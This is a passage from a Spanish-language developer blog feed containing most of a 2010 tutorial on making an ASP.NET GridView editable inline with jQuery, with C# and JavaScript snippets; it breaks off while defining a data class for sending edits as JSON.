&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Saludos.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=164791" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="eventos" scheme="http://geeks.ms/blogs/mrubino/archive/tags/eventos/default.aspx" /></entry><entry><title>GridView Custom Edit</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2010/01/06/gridview-custom-edit.aspx" /><id>/blogs/mrubino/archive/2010/01/06/gridview-custom-edit.aspx</id><published>2010-01-06T00:02:00Z</published><updated>2010-01-06T00:02:00Z</updated><content type="html">&lt;p align="justify"&gt;Este a&amp;ntilde;o ha sido mucho m&amp;aacute;s productivo de lo que me esperaba y el que comienza parece que me va a deparar nuevos retos personales que espero sean lo m&amp;aacute;s positivos posible.&lt;/p&gt;
&lt;p align="justify"&gt;Para empezar con buen pie y no cejar en mis art&amp;iacute;culos t&amp;eacute;cnicos, hoy har&amp;eacute; un nuevo ejemplo pr&amp;aacute;ctico para personalizar un control GridView, permitir editar sus elementos con JavaScript y enviar al servidor de manera as&amp;iacute;ncrona solo las modificaciones realizadas.&lt;/p&gt;
&lt;p align="justify"&gt;Realmente cada vez existen m&amp;aacute;s controles que nos permiten mejorar la experiencia de usuario y potencian usabilidad de los usuarios. Pero con un poco de tiempo es posible dar este toque a los controles con los que trabajamos cotidianamente.&lt;/p&gt;
&lt;p align="justify"&gt;Para comenzar esta pr&amp;aacute;ctica crearemos un nuevo proyecto web y cargaremos una grid con la base de datos &lt;a target="_blank" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=06616212-0356-46A0-8DA2-EEBC53A68034&amp;amp;displaylang=en"&gt;NorthWind&lt;/a&gt; que no puede faltar en cualquier ejemplo que utilice una base de datos SQL.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/gridedit_5F00_6F7B4D79.jpg"&gt;&lt;img height="250" width="424" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/gridedit_5F00_thumb_5F00_399E0A72.jpg" alt="gridedit" border="0" title="gridedit" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="justify"&gt;Para poder editar la grid lo que tenemos que hacer primero es marcar las celdas que se podr&amp;aacute;n editar con una propiedad llamada &lt;strong&gt;&amp;quot;editable&amp;quot;,&lt;/strong&gt;&amp;nbsp; guardar el nombre del registro para tenerlo a mano a la hora de guardar las modificaciones y agregar el evento onmousedown para que llame a la funci&amp;oacute;n javaScript de edici&amp;oacute;n tanto en IE como en Firefox.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: &lt;span style="color:#0000ff;"&gt;protected&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;void&lt;/span&gt; GridView1_RowDataBound(&lt;span style="color:#0000ff;"&gt;object&lt;/span&gt; sender, 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2:    GridViewRowEventArgs e)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3: {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:    &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (e.Row.RowType == DataControlRowType.DataRow)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5:    {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6:       &lt;span style="color:#0000ff;"&gt;foreach&lt;/span&gt; (TableCell cell &lt;span style="color:#0000ff;"&gt;in&lt;/span&gt; e.Row.Cells)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  7:       {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  8:          cell.Attributes.Add(&amp;quot;&lt;span style="color:#8b0000;"&gt;editable&lt;/span&gt;&amp;quot;, &amp;quot;&lt;span style="color:#8b0000;"&gt;true&lt;/span&gt;&amp;quot;);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  9:          cell.Attributes.Add(&amp;quot;&lt;span style="color:#8b0000;"&gt;columnName&lt;/span&gt;&amp;quot;, 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 10:            ((System.Web.UI.WebControls.DataControlFieldCell)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 11:               (cell)).ContainingField.HeaderText);
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 12:          cell.Attributes.Add(&amp;quot;&lt;span style="color:#8b0000;"&gt;onmousedown&lt;/span&gt;&amp;quot;, &amp;quot;&lt;span style="color:#8b0000;"&gt;EditarPrecio(this);&lt;/span&gt;&amp;quot;);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 13:       }
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 14:    }
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 15:  }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;Una vez preparado el c&amp;oacute;digo de servidor que pintar&amp;aacute; la grid, ya podemos empezar con la funcionalidad en el cliente y para eso utilizaremos diferentes librer&amp;iacute;as ( &lt;a target="_blank" href="http://docs.jquery.com/Downloading_jQuery"&gt;JQuery&lt;/a&gt;, &lt;a target="_blank" href="http://www.json.org/js.html"&gt;JSON&lt;/a&gt;) y un fichero .js donde se encontrara nuestro c&amp;oacute;digo script.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;El script de cliente:&lt;/strong&gt;&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;*. EditarPrecio( celda ):&lt;/strong&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Lo primero que haremos es crear un control input para editar el contenido de la celda y como coment&amp;eacute; en &amp;ldquo;&lt;a target="_blank" href="http://geeks.ms/blogs/mrubino/archive/2009/11/25/jquery-la-potencia-sin-control-no-sirve-de-nada.aspx"&gt;Jquery - la potencia sin control no sirve de nada !!&amp;rdquo;&lt;/a&gt; no abusaremos de las funciones Jquery para no perjudicar al rendimiento de nuestro c&amp;oacute;digo.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/grideditCel_5F00_33794E88.png"&gt;&lt;img height="71" width="244" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/grideditCel_5F00_thumb_5F00_5564B10C.png" alt="grideditCel" border="0" title="grideditCel" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: &lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; EditarPrecio(td) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2:     
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3:     &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; tdControl = $(td)[0];
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:     OcultarTxtEditTodos();
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5: 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6:     &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (tdControl != &lt;span style="color:#0000ff;"&gt;null&lt;/span&gt; &amp;amp;&amp;amp; tdControl.innerText != &amp;quot;&lt;span style="color:#8b0000;"&gt;&lt;/span&gt;&amp;quot; 
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  7:        &amp;amp;&amp;amp; $(td).attr(&amp;quot;&lt;span style="color:#8b0000;"&gt;editable&lt;/span&gt;&amp;quot;) != &lt;span style="color:#0000ff;"&gt;null&lt;/span&gt; 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  8:        &amp;amp;&amp;amp; $(td).attr(&amp;quot;&lt;span style="color:#8b0000;"&gt;editable&lt;/span&gt;&amp;quot;) == &amp;quot;&lt;span style="color:#8b0000;"&gt;true&lt;/span&gt;&amp;quot;) {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  9:         &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; oldValue = tdControl.innerHTML;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 10:         tdControl.innerHTML = &amp;#39;&amp;lt;input id=&amp;quot;&lt;span style="color:#8b0000;"&gt;txtEditPrecios&lt;/span&gt;&amp;quot; &amp;#39;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 11:            + &amp;#39;onblur=&amp;quot;&lt;span style="color:#8b0000;"&gt;OcultarTxtEdit(this, true);&lt;/span&gt;&amp;quot; &amp;#39;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 12:            + &amp;#39;onkeypress=&amp;quot;&lt;span style="color:#8b0000;"&gt;FiltradoKey(event, this);&lt;/span&gt;&amp;quot; &amp;#39;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 13:            + &amp;#39;&lt;span style="color:#0000ff;"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color:#8b0000;"&gt;txtEditPrecios&lt;/span&gt;&amp;quot; type=&amp;quot;&lt;span style="color:#8b0000;"&gt;text&lt;/span&gt;&amp;quot; value=&amp;quot;&lt;span style="color:#8b0000;"&gt;&amp;#39; 
&lt;/span&gt;&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 14:            + oldValue + &amp;#39;&amp;quot;&lt;span style="color:#8b0000;"&gt; /&amp;gt;&amp;#39;;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 15:         $(&amp;quot;&lt;span style="color:#8b0000;"&gt;.txtEditPrecios&lt;/span&gt;&amp;quot;).&lt;span style="color:#0000ff;"&gt;focus&lt;/span&gt;().select();     
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 16:     }
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 17: }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;&lt;strong&gt;4:&lt;/strong&gt; Ocultamos los posibles inputs que se hayan quedado activados.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;10:&lt;/strong&gt; agregamos el control input a la celda.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;11:&lt;/strong&gt; Al perder el foco evento &amp;ldquo;onblur&amp;rdquo; ocultamos el input.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;12:&lt;/strong&gt; Al presionar un tecla evento &amp;ldquo;onkeypress&amp;rdquo; detectamos si se presiona la tecla escape para finalizar la edici&amp;oacute;n&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;15:&lt;/strong&gt; Otorgamos el foco al input y seleccionamos el contenido para facilitar la edici&amp;oacute;n.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;*. OcultarTxtEdit( input, si queremos tabular &amp;ldquo;bool&amp;rdquo; ):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: &lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; OcultarTxtEdit(val, tabular) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2:     &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (val != &lt;span style="color:#0000ff;"&gt;null&lt;/span&gt;) {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3:         &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; txt = $(val);
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:         &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; td = txt[0].parentNode;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5:         &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (txt[0].defaultValue != txt[0].value) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6:             td.setAttribute(&amp;quot;&lt;span style="color:#8b0000;"&gt;EditVal&lt;/span&gt;&amp;quot;, txt[0].value);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  7:             td.className = &amp;quot;&lt;span style="color:#8b0000;"&gt;txtEdit&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  8:         }
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  9:         &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; tdNext = $(td).next();
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 10:         td.innerHTML = txt[0].value;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 11: 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 12:         &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (tabular)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 13:             &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;($(tdNext).&lt;span style="color:#0000ff;"&gt;length&lt;/span&gt;)
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 14:                EditarPrecio(tdNext);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 15:             &lt;span style="color:#0000ff;"&gt;else&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 16:                 &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;($(td).&lt;span style="color:#0000ff;"&gt;parent&lt;/span&gt;(&amp;#39;tr&amp;#39;).next().children().&lt;span style="color:#0000ff;"&gt;length&lt;/span&gt;)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 17:                 EditarPrecio($(td).&lt;span style="color:#0000ff;"&gt;parent&lt;/span&gt;(&amp;#39;tr&amp;#39;).next().children()[0])
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 18:     }
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 19: }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5:&lt;/strong&gt; Comprobamos si el contenido de la celda ha sido modificado.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6:&lt;/strong&gt; mostramos el nuevo valor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7:&lt;/strong&gt; modificamos el estilo para destacar las celdas modificadas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;12:&lt;/strong&gt; si queremos tabular editamos la siguiente celda&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;16:&lt;/strong&gt; si es la &amp;uacute;ltima celda de la fila saltaremos a la siguiente fila&lt;/p&gt;
&lt;p&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/grideditCel2_5F00_6090CC07.png"&gt;&lt;img height="106" width="412" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/grideditCel2_5F00_thumb_5F00_76E6714C.png" alt="grideditCel2" border="0" title="grideditCel2" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;*. OcultarTxtEditTodos():&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Oculta todos los inputs de la grid.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: &lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; OcultarTxtEditTodos() {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2:     &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; txts = $(&amp;quot;&lt;span style="color:#8b0000;"&gt;#txtEditPrecios&lt;/span&gt;&amp;quot;);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3:     &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt; (&lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; i = 0; i &amp;lt; txts.&lt;span style="color:#0000ff;"&gt;length&lt;/span&gt;; i++) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:         OcultarTxtEdit($(txts[i]), &lt;span style="color:#0000ff;"&gt;false&lt;/span&gt;); 
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5:     }
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6: }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;*. OcultarTxtEditTodos():&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si se presiona la tecla escape salimos de la edici&amp;oacute;n de la celda.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: &lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; FiltradoKey(e, txt) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2:     &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; code = (e.keyCode ? e.keyCode : e.which);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3:     &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (code == 27) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:         OcultarTxtEdit(txt, &lt;span style="color:#0000ff;"&gt;false&lt;/span&gt;);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5:     }
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6: }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;YA tenemos nuestra grid con la posibilidad de modificar los registros, con tabulaci&amp;oacute;n y cancelaci&amp;oacute;n funcionando al 100% !!!!&lt;/p&gt;
&lt;p&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/grideditCel3_5F00_03E2E20F.png"&gt;&lt;img height="296" width="543" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/grideditCel3_5F00_thumb_5F00_311F0AE3.png" alt="grideditCel3" border="0" title="grideditCel3" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/grideditCel33_5F00_083BA7ED.png"&gt;&lt;img height="146" width="544" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/grideditCel33_5F00_thumb_5F00_74B369AD.png" alt="grideditCel33" border="0" title="grideditCel33" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;La &amp;uacute;ltima parte ser&amp;aacute; habilitar un m&amp;eacute;todo de p&amp;aacute;gina al que le podremos pasar las celdas modificadas con formato JSon desde el cliente.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;*. Tipo:&lt;/strong&gt;&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: &lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;class&lt;/span&gt; ClienteData
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2: {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3:     &lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; id { &lt;span style="color:#0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color:#0000ff;"&gt;set&lt;/span&gt;; }
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:     &lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; columna { &lt;span style="color:#0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color:#0000ff;"&gt;set&lt;/span&gt;; }
&lt;/pre&gt;
